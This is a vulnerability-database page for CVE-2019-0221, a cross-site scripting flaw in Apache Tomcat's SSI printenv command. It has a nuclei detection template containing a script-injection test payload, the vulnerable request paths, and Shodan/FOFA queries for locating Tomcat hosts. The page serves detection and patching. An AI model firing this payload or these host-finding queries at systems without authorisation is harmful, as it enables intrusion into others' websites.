HexBrain

Browse / CVEs / CVE-2019-0221

CVE-2019-0221· apache / tomcat· CWE-79

Apache Tomcat - Cross-Site Scripting

mediumseverity
6.1CVSS score
58.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/printenv.shtml?{{url_encode(payload)}} ; GET {{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}
Positive when: contains "QUERY_STRING_UNESCAPED={{payload}}" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-0221 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-0221

info:
  name: Apache Tomcat - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2019/May/50
    - https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
    - https://www.exploit-db.com/exploits/50119
    - https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0221
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-0221
    cwe-id: CWE-79
    epss-score: 0.58253
    epss-percentile: 0.99101
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: tomcat
    shodan-query:
      - title:"Apache Tomcat"
      - http.title:"apache tomcat"
      - http.html:"apache tomcat"
      - cpe:"cpe:2.3:a:apache:tomcat"
    fofa-query:
      - body="apache tomcat"
      - title="apache tomcat"
    google-query: intitle:"apache tomcat"
  tags: cve2019,cve,apache,xss,tomcat,seclists,edb,vuln
variables:
  payload: "<script>alert({{rand_int()}})</script>"

http:
  - method: GET
    path:
      - "{{BaseURL}}/printenv.shtml?{{url_encode(payload)}}"
      - "{{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "QUERY_STRING_UNESCAPED={{payload}}"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from